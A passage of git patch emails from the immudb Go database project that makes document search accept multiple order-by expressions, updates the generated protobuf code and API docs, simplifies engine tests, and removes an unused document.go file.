immudb.model.CollectionUpdateResponse - 16, // 40: immudb.model.DocumentService.IndexCreate:output_type -> immudb.model.IndexCreateResponse - 18, // 41: immudb.model.DocumentService.IndexDelete:output_type -> immudb.model.IndexDeleteResponse - 20, // 42: immudb.model.DocumentService.DocumentInsert:output_type -> immudb.model.DocumentInsertResponse - 22, // 43: immudb.model.DocumentService.DocumentInsertMany:output_type -> immudb.model.DocumentInsertManyResponse - 24, // 44: immudb.model.DocumentService.DocumentUpdate:output_type -> immudb.model.DocumentUpdateResponse - 29, // 45: immudb.model.DocumentService.DocumentSearch:output_type -> immudb.model.DocumentSearchResponse - 32, // 46: immudb.model.DocumentService.DocumentAudit:output_type -> immudb.model.DocumentAuditResponse - 34, // 47: immudb.model.DocumentService.DocumentProof:output_type -> immudb.model.DocumentProofResponse - 36, // 48: immudb.model.DocumentService.DocumentDelete:output_type -> immudb.model.DocumentDeleteResponse - 35, // [35:49] is the sub-list for method output_type - 21, // [21:35] is the sub-list for method input_type - 21, // [21:21] is the sub-list for extension type_name - 21, // [21:21] is the sub-list for extension extendee - 0, // [0:21] is the sub-list for field type_name + 38, // 7: immudb.model.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 38, // 8: immudb.model.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct + 27, // 9: immudb.model.DocumentUpdateRequest.query:type_name -> immudb.model.Query + 38, // 10: immudb.model.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct + 27, // 11: immudb.model.DocumentSearchRequest.query:type_name -> immudb.model.Query + 26, // 12: immudb.model.DocumentSearchRequest.orderBy:type_name -> immudb.model.OrderExpression + 28, // 13: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression + 29, // 14: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison + 1, // 15: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator + 39, // 16: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value + 31, // 17: immudb.model.DocumentSearchResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 38, // 18: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct + 31, // 19: immudb.model.DocumentAuditResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 40, // 20: immudb.model.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 + 27, // 21: immudb.model.DocumentDeleteRequest.query:type_name -> immudb.model.Query + 2, // 22: immudb.model.DocumentService.CollectionCreate:input_type -> immudb.model.CollectionCreateRequest + 6, // 23: immudb.model.DocumentService.CollectionGet:input_type -> immudb.model.CollectionGetRequest + 9, // 24: immudb.model.DocumentService.CollectionList:input_type -> immudb.model.CollectionListRequest + 11, // 25: immudb.model.DocumentService.CollectionDelete:input_type -> immudb.model.CollectionDeleteRequest + 13, // 26: immudb.model.DocumentService.CollectionUpdate:input_type -> immudb.model.CollectionUpdateRequest + 15, // 27: immudb.model.DocumentService.IndexCreate:input_type -> immudb.model.IndexCreateRequest + 17, // 28: immudb.model.DocumentService.IndexDelete:input_type -> immudb.model.IndexDeleteRequest + 19, // 29: immudb.model.DocumentService.DocumentInsert:input_type -> immudb.model.DocumentInsertRequest + 21, // 30: immudb.model.DocumentService.DocumentInsertMany:input_type -> immudb.model.DocumentInsertManyRequest + 23, // 31: immudb.model.DocumentService.DocumentUpdate:input_type -> immudb.model.DocumentUpdateRequest + 25, // 32: immudb.model.DocumentService.DocumentSearch:input_type -> immudb.model.DocumentSearchRequest + 32, // 33: immudb.model.DocumentService.DocumentAudit:input_type -> immudb.model.DocumentAuditRequest + 34, // 34: immudb.model.DocumentService.DocumentProof:input_type -> immudb.model.DocumentProofRequest + 36, // 35: immudb.model.DocumentService.DocumentDelete:input_type -> immudb.model.DocumentDeleteRequest + 3, // 36: immudb.model.DocumentService.CollectionCreate:output_type -> immudb.model.CollectionCreateResponse + 7, // 37: immudb.model.DocumentService.CollectionGet:output_type -> immudb.model.CollectionGetResponse + 10, // 38: immudb.model.DocumentService.CollectionList:output_type -> immudb.model.CollectionListResponse + 12, // 39: immudb.model.DocumentService.CollectionDelete:output_type -> immudb.model.CollectionDeleteResponse + 14, // 40: immudb.model.DocumentService.CollectionUpdate:output_type -> immudb.model.CollectionUpdateResponse + 16, // 41: immudb.model.DocumentService.IndexCreate:output_type -> immudb.model.IndexCreateResponse + 18, // 42: immudb.model.DocumentService.IndexDelete:output_type -> immudb.model.IndexDeleteResponse + 20, // 43: immudb.model.DocumentService.DocumentInsert:output_type -> immudb.model.DocumentInsertResponse + 22, // 44: immudb.model.DocumentService.DocumentInsertMany:output_type -> immudb.model.DocumentInsertManyResponse + 24, // 45: immudb.model.DocumentService.DocumentUpdate:output_type -> immudb.model.DocumentUpdateResponse + 30, // 46: immudb.model.DocumentService.DocumentSearch:output_type -> immudb.model.DocumentSearchResponse + 33, // 47: immudb.model.DocumentService.DocumentAudit:output_type -> immudb.model.DocumentAuditResponse + 35, // 48: immudb.model.DocumentService.DocumentProof:output_type -> immudb.model.DocumentProofResponse + 37, // 49: immudb.model.DocumentService.DocumentDelete:output_type -> immudb.model.DocumentDeleteResponse + 36, // [36:50] is the sub-list for method output_type + 22, // [22:36] is the sub-list for method input_type + 22, // [22:22] is the sub-list for extension type_name + 22, // [22:22] is the sub-list for extension extendee + 0, // [0:22] is the sub-list for field type_name } func init() { file_documents_proto_init() } @@ -2849,7 +2912,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Query); i { + switch v := v.(*OrderExpression); i { case 0: return &v.state case 1: @@ -2861,7 +2924,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*QueryExpression); i { + switch v := v.(*Query); i { case 0: return &v.state case 1: @@ -2873,7 +2936,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*FieldComparison); i { + switch v := v.(*QueryExpression); i { case 0: return &v.state case 1: @@ -2885,7 +2948,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentSearchResponse); i { + switch v := v.(*FieldComparison); i { case 0: return &v.state case 1: @@ -2897,7 +2960,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentAtRevision); i { + switch v := v.(*DocumentSearchResponse); i { case 0: return &v.state case 1: @@ -2909,7 +2972,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentAuditRequest); i { + switch v := v.(*DocumentAtRevision); i { case 0: return &v.state case 1: @@ -2921,7 +2984,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentAuditResponse); i { + switch v := v.(*DocumentAuditRequest); i { case 0: return &v.state case 1: @@ -2933,7 +2996,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentProofRequest); i { + switch v := v.(*DocumentAuditResponse); i { case 0: return &v.state case 1: @@ -2945,7 +3008,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentProofResponse); i { + switch v := v.(*DocumentProofRequest); i { case 0: return &v.state case 1: @@ -2957,7 +3020,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentDeleteRequest); i { + switch v := v.(*DocumentProofResponse); i { case 0: return &v.state case 1: @@ -2969,6 +3032,18 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentDeleteRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documents_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DocumentDeleteResponse); i { case 0: return &v.state @@ -2987,7 +3062,7 @@ func file_documents_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_documents_proto_rawDesc, NumEnums: 2, - NumMessages: 35, + NumMessages: 36, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index e360488fac..5033f7f89c 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -303,7 +303,7 @@ func (d *db) SearchDocuments(ctx context.Context, req *protomodel.DocumentSearch return nil, fmt.Errorf("invalid offset") } - reader, err := d.documentEngine.GetDocuments(ctx, req.Collection, req.Query, int64(offset)) + reader, err := d.documentEngine.GetDocuments(ctx, req.Collection, req.Query, int64(offset), req.OrderBy) if err != nil { return nil, err } From c68e6c260a88ece4e13d32e34fe62d5475fd2df5 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Fri, 5 May 2023 19:15:43 +0530 Subject: [PATCH 0515/1062] chore: allow multiple order by clauses --- embedded/document/engine.go | 10 +++--- embedded/document/engine_test.go | 50 +++++++++++++--------------- pkg/api/openapi/apidocs.swagger.json | 5 ++- pkg/api/proto/documents.proto | 2 +- pkg/api/protomodel/docs.md | 2 +- pkg/api/protomodel/documents.pb.go | 16 ++++----- pkg/database/document_database.go | 2 +- 7 files changed, 42 insertions(+), 45 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 32faa1d348..c53ca2be8e 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -668,8 +668,8 @@ func (e *Engine) GetDocuments( ctx context.Context, collectionName string, query *protomodel.Query, + orderExp []*protomodel.OrderExpression, offset int64, - orderExp *protomodel.OrderExpression, ) (DocumentReader, error) { sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { @@ -987,11 +987,9 @@ func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error return e.sqlEngine.CopyCatalogToTx(ctx, tx) } -func generateOrderByExpression(table *sql.Table, orderBy *protomodel.OrderExpression) (ordCols []*sql.OrdCol) { - if orderBy == nil { - return nil +func generateOrderByExpression(table *sql.Table, orderBy []*protomodel.OrderExpression) (ordCols []*sql.OrdCol) { + for _, col := range orderBy { + ordCols = append(ordCols, sql.NewOrdCol(table.Name(), col.Field, col.Desc)) } - - ordCols = append(ordCols, sql.NewOrdCol(table.Name(), orderBy.Field, orderBy.Desc)) return ordCols } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 905e2ab02c..2a14650780 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -168,7 +168,7 @@ func TestGetDocument(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) + reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) require.NoError(t, err) defer reader.Close() @@ -293,7 +293,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) + reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) require.NoError(t, err) defer reader.Close() @@ -317,7 +317,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) + reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) require.NoError(t, err) defer reader.Close() @@ -341,7 +341,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) + reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) require.NoError(t, err) defer reader.Close() @@ -365,7 +365,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) + reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) require.NoError(t, err) defer reader.Close() @@ -389,7 +389,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) + reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) require.NoError(t, err) defer reader.Close() @@ -418,7 +418,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) + reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) require.NoError(t, err) defer reader.Close() @@ -442,7 +442,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) + reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) require.NoError(t, err) defer reader.Close() @@ -471,7 +471,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) + reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) require.NoError(t, err) defer reader.Close() @@ -564,7 +564,7 @@ func TestDocumentUpdate(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) + reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) require.NoError(t, err) defer reader.Close() @@ -673,7 +673,7 @@ func TestFloatSupport(t *testing.T) { } // check if document is updated - reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) + reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) require.NoError(t, err) defer reader.Close() @@ -874,7 +874,7 @@ func TestBulkInsert(t *testing.T) { require.Equal(t, uint64(2), txID) require.Len(t, docIDs, 10) - reader, err := engine.GetDocuments(ctx, collectionName, nil, 0, nil) + reader, err := engine.GetDocuments(ctx, collectionName, nil, nil, 0) require.NoError(t, err) defer reader.Close() @@ -935,7 +935,7 @@ func TestPaginationOnReader(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) + reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) require.NoError(t, err) defer reader.Close() @@ -1002,7 +1002,7 @@ func TestDeleteDocument(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) + reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) require.NoError(t, err) defer reader.Close() @@ -1015,7 +1015,7 @@ func TestDeleteDocument(t *testing.T) { err = engine.sqlEngine.GetStore().WaitForIndexingUpto(ctx, engine.sqlEngine.GetStore().LastCommittedTxID()) require.NoError(t, err) - reader, err = engine.GetDocuments(ctx, collectionName, query, 0, nil) + reader, err = engine.GetDocuments(ctx, collectionName, query, nil, 0) require.NoError(t, err) defer reader.Close() @@ -1069,9 +1069,10 @@ func TestGetDocuments_WithOrderBy(t *testing.T) { "", []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_DOUBLE}, + {Name: "age", Type: protomodel.FieldType_DOUBLE}, }, []*protomodel.Index{ - {Fields: []string{"number"}}, + {Fields: []string{"number", "age"}}, }, ) require.NoError(t, err) @@ -1081,9 +1082,7 @@ func TestGetDocuments_WithOrderBy(t *testing.T) { for i := 1; i <= noOfDocs; i++ { _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ - "number": { - Kind: &structpb.Value_NumberValue{NumberValue: float64(i)}, - }, + "number": structpb.NewNumberValue(float64(i)), }, }) require.NoError(t, err) @@ -1096,9 +1095,7 @@ func TestGetDocuments_WithOrderBy(t *testing.T) { { Field: "number", Operator: protomodel.ComparisonOperator(sql.GT), // EQ - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 0}, - }, + Value: structpb.NewNumberValue(0), }, }, }, @@ -1106,16 +1103,16 @@ func TestGetDocuments_WithOrderBy(t *testing.T) { } t.Run("order by single field", func(t *testing.T) { - orderBy := &protomodel.OrderExpression{ + orderBy := []*protomodel.OrderExpression{{ Field: "number", Desc: true, - } + }} - reader, err := engine.GetDocuments(ctx, collectionName, query, 0, orderBy) + reader, err := engine.GetDocuments(ctx, collectionName, query, orderBy, 0) require.NoError(t, err) defer reader.Close() docs, err := reader.ReadN(ctx, noOfDocs) - // require.NoError(t, err) + require.NoError(t, err) require.Equal(t, 5, len(docs)) i := noOfDocs @@ -1124,5 +1121,4 @@ func TestGetDocuments_WithOrderBy(t *testing.T) { i-- } }) - } diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 4cbcab4435..16e37213d7 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -865,7 +865,10 @@ "$ref": "#/definitions/modelQuery" }, "orderBy": { - "$ref": "#/definitions/modelOrderExpression" + "type": "array", + "items": { + "$ref": "#/definitions/modelOrderExpression" + } }, "page": { "type": "integer", diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index ee5775c322..45e774b3dd 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -159,7 +159,7 @@ message DocumentSearchRequest { string searchID = 1; string collection = 2; Query query = 3; - OrderExpression orderBy = 4; + repeated OrderExpression orderBy = 4; uint32 page = 5; uint32 perPage = 6; } diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index 17e4fcd20e..c3bd563fac 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -511,7 +511,7 @@ | searchID | [string](#string) | | | | collection | [string](#string) | | | | query | [Query](#immudb-model-Query) | | | -| orderBy | [OrderExpression](#immudb-model-OrderExpression) | | | +| orderBy | [OrderExpression](#immudb-model-OrderExpression) | repeated | | | page | [uint32](#uint32) | | | | perPage | [uint32](#uint32) | | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 1add33ad3e..d33b90a8b6 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -1344,12 +1344,12 @@ type DocumentSearchRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - SearchID string `protobuf:"bytes,1,opt,name=searchID,proto3" json:"searchID,omitempty"` - Collection string `protobuf:"bytes,2,opt,name=collection,proto3" json:"collection,omitempty"` - Query *Query `protobuf:"bytes,3,opt,name=query,proto3" json:"query,omitempty"` - OrderBy *OrderExpression `protobuf:"bytes,4,opt,name=orderBy,proto3" json:"orderBy,omitempty"` - Page uint32 `protobuf:"varint,5,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,6,opt,name=perPage,proto3" json:"perPage,omitempty"` + SearchID string `protobuf:"bytes,1,opt,name=searchID,proto3" json:"searchID,omitempty"` + Collection string `protobuf:"bytes,2,opt,name=collection,proto3" json:"collection,omitempty"` + Query *Query `protobuf:"bytes,3,opt,name=query,proto3" json:"query,omitempty"` + OrderBy []*OrderExpression `protobuf:"bytes,4,rep,name=orderBy,proto3" json:"orderBy,omitempty"` + Page uint32 `protobuf:"varint,5,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,6,opt,name=perPage,proto3" json:"perPage,omitempty"` } func (x *DocumentSearchRequest) Reset() { @@ -1405,7 +1405,7 @@ func (x *DocumentSearchRequest) GetQuery() *Query { return nil } -func (x *DocumentSearchRequest) GetOrderBy() *OrderExpression { +func (x *DocumentSearchRequest) GetOrderBy() []*OrderExpression { if x != nil { return x.OrderBy } @@ -2262,7 +2262,7 @@ var file_documents_proto_rawDesc = []byte{ 0x72, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x37, 0x0a, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x72, 0x64, 0x65, 0x72, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 5033f7f89c..82f00bf963 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -303,7 +303,7 @@ func (d *db) SearchDocuments(ctx context.Context, req *protomodel.DocumentSearch return nil, fmt.Errorf("invalid offset") } - reader, err := d.documentEngine.GetDocuments(ctx, req.Collection, req.Query, int64(offset), req.OrderBy) + reader, err := d.documentEngine.GetDocuments(ctx, req.Collection, req.Query, req.OrderBy, int64(offset)) if err != nil { return nil, err } From dc288976a0e49db2d0018bc2ba724054f944b5c2 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 5 May 2023 11:19:11 -0300 Subject: [PATCH 0516/1062] test(embedded/document): improve test readability Signed-off-by: Jeronimo Irazabal --- embedded/document/document_test.go | 24 +++++++++++----------- embedded/document/engine_test.go | 33 ++++++++++-------------------- 2 files changed, 23 insertions(+), 34 deletions(-) diff --git a/embedded/document/document_test.go b/embedded/document/document_test.go index 2e4d1ed47b..f42935795c 100644 --- a/embedded/document/document_test.go +++ b/embedded/document/document_test.go @@ -26,9 +26,9 @@ import ( func newDoc(id float64, name string, age float64) *Document { doc, err := NewDocumentFrom(&structpb.Struct{ Fields: map[string]*structpb.Value{ - "id": {Kind: &structpb.Value_NumberValue{NumberValue: id}}, - "name": {Kind: &structpb.Value_StringValue{StringValue: name}}, - "age": {Kind: &structpb.Value_NumberValue{NumberValue: age}}, + "id": structpb.NewNumberValue(id), + "name": structpb.NewStringValue(name), + "age": structpb.NewNumberValue(age), }, }) if err != nil { @@ -40,9 +40,9 @@ func newDoc(id float64, name string, age float64) *Document { func TestDocument(t *testing.T) { r, err := NewDocumentFrom(&structpb.Struct{ Fields: map[string]*structpb.Value{ - "name": {Kind: &structpb.Value_StringValue{StringValue: "foo"}}, - "id": {Kind: &structpb.Value_NumberValue{NumberValue: 1}}, - "age": {Kind: &structpb.Value_NumberValue{NumberValue: 10}}, + "name": structpb.NewStringValue("foo"), + "id": structpb.NewNumberValue(1), + "age": structpb.NewNumberValue(10), }, }) if err != nil { @@ -74,16 +74,16 @@ func TestDocument(t *testing.T) { t.Run("check field ordering", func(t *testing.T) { r1, _ := NewDocumentFrom(&structpb.Struct{ Fields: map[string]*structpb.Value{ - "name": {Kind: &structpb.Value_StringValue{StringValue: "foo"}}, - "id": {Kind: &structpb.Value_NumberValue{NumberValue: 1}}, - "age": {Kind: &structpb.Value_NumberValue{NumberValue: 10}}, + "name": structpb.NewStringValue("foo"), + "id": structpb.NewNumberValue(1), + "age": structpb.NewNumberValue(10), }, }) r2, _ := NewDocumentFrom(&structpb.Struct{ Fields: map[string]*structpb.Value{ - "age": {Kind: &structpb.Value_NumberValue{NumberValue: 10}}, - "id": {Kind: &structpb.Value_NumberValue{NumberValue: 1}}, - "name": {Kind: &structpb.Value_StringValue{StringValue: "foo"}}, + "age": structpb.NewNumberValue(10), + "id": structpb.NewNumberValue(1), + "name": structpb.NewStringValue("foo"), }, }) require.Equal(t, r1.Bytes(), r2.Bytes()) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 2a14650780..ddffc86be4 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -705,9 +705,7 @@ func TestDeleteCollection(t *testing.T) { for i := 1.0; i <= 10; i++ { _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ - "number": { - Kind: &structpb.Value_NumberValue{NumberValue: i}, - }, + "number": structpb.NewNumberValue(i), }, }) require.NoError(t, err) @@ -969,12 +967,8 @@ func TestDeleteDocument(t *testing.T) { // add document to collection _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: 2}, - }, - "country": { - Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, - }, + "pincode": structpb.NewNumberValue(2), + "country": structpb.NewStringValue("wonderland"), }, }) require.NoError(t, err) @@ -986,16 +980,12 @@ func TestDeleteDocument(t *testing.T) { { Field: "country", Operator: protomodel.ComparisonOperator_EQ, - Value: &structpb.Value{ - Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, - }, + Value: structpb.NewStringValue("wonderland"), }, { Field: "pincode", Operator: protomodel.ComparisonOperator_EQ, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 2}, - }, + Value: structpb.NewNumberValue(2), }, }, }, @@ -1008,13 +998,11 @@ func TestDeleteDocument(t *testing.T) { docs, err := reader.ReadN(ctx, 1) require.NoError(t, err) - require.Equal(t, 1, len(docs)) + require.Len(t, docs, 1) err = engine.DeleteDocument(ctx, collectionName, query) require.NoError(t, err) - err = engine.sqlEngine.GetStore().WaitForIndexingUpto(ctx, engine.sqlEngine.GetStore().LastCommittedTxID()) - require.NoError(t, err) reader, err = engine.GetDocuments(ctx, collectionName, query, nil, 0) require.NoError(t, err) defer reader.Close() @@ -1049,8 +1037,8 @@ func TestGetCollection(t *testing.T) { collection, err := engine.GetCollection(context.Background(), collectionName) require.NoError(t, err) require.Equal(t, collectionName, collection.Name) - require.Equal(t, 5, len(collection.Fields)) - require.Equal(t, 5, len(collection.Indexes)) + require.Len(t, collection.Fields, 5) + require.Len(t, collection.Indexes, 5) expectedIndexKeys := []string{"_id", "number", "name", "pin", "country"} for i, key := range expectedIndexKeys { @@ -1094,7 +1082,7 @@ func TestGetDocuments_WithOrderBy(t *testing.T) { FieldComparisons: []*protomodel.FieldComparison{ { Field: "number", - Operator: protomodel.ComparisonOperator(sql.GT), // EQ + Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewNumberValue(0), }, }, @@ -1111,9 +1099,10 @@ func TestGetDocuments_WithOrderBy(t *testing.T) { reader, err := engine.GetDocuments(ctx, collectionName, query, orderBy, 0) require.NoError(t, err) defer reader.Close() + docs, err := reader.ReadN(ctx, noOfDocs) require.NoError(t, err) - require.Equal(t, 5, len(docs)) + require.Len(t, docs, 5) i := noOfDocs for _, doc := range docs { From 8932b7d457210b8c232d72370b1b4090cf069774 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 5 May 2023 11:27:48 -0300 Subject: [PATCH 0517/1062] test(embedded/document): improve test readability Signed-off-by: Jeronimo Irazabal --- embedded/document/engine_test.go | 27 ++++++++++++++------------- 1 file changed, 14 insertions(+), 13 deletions(-) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index ddffc86be4..03149108b6 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -1049,8 +1049,9 @@ func TestGetCollection(t *testing.T) { func TestGetDocuments_WithOrderBy(t *testing.T) { ctx := context.Background() engine := makeEngine(t) - // create collection + collectionName := "mycollection" + err := engine.CreateCollection( context.Background(), collectionName, @@ -1066,7 +1067,7 @@ func TestGetDocuments_WithOrderBy(t *testing.T) { require.NoError(t, err) noOfDocs := 5 - // add documents to collection + for i := 1; i <= noOfDocs; i++ { _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ @@ -1076,21 +1077,21 @@ func TestGetDocuments_WithOrderBy(t *testing.T) { require.NoError(t, err) } - query := &protomodel.Query{ - Expressions: []*protomodel.QueryExpression{ - { - FieldComparisons: []*protomodel.FieldComparison{ - { - Field: "number", - Operator: protomodel.ComparisonOperator_EQ, - Value: structpb.NewNumberValue(0), + t.Run("order by single field", func(t *testing.T) { + query := &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "number", + Operator: protomodel.ComparisonOperator_LE, + Value: structpb.NewNumberValue(5), + }, }, }, }, - }, - } + } - t.Run("order by single field", func(t *testing.T) { orderBy := []*protomodel.OrderExpression{{ Field: "number", Desc: true, From 70e9b35703bd5590160c48e0769aadd4f31ffafd Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 5 May 2023 11:31:53 -0300 Subject: [PATCH 0518/1062] chore(embedded/document): remove dead-code Signed-off-by: Jeronimo Irazabal --- embedded/document/document.go | 101 ----------------------------- embedded/document/document_test.go | 91 -------------------------- 2 files changed, 192 deletions(-) delete mode 100644 embedded/document/document.go delete mode 100644 embedded/document/document_test.go diff --git a/embedded/document/document.go b/embedded/document/document.go deleted file mode 100644 index c72acbfaf6..0000000000 --- a/embedded/document/document.go +++ /dev/null @@ -1,101 +0,0 @@ -/* -Copyright 2023 Codenotary Inc. All rights reserved. - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 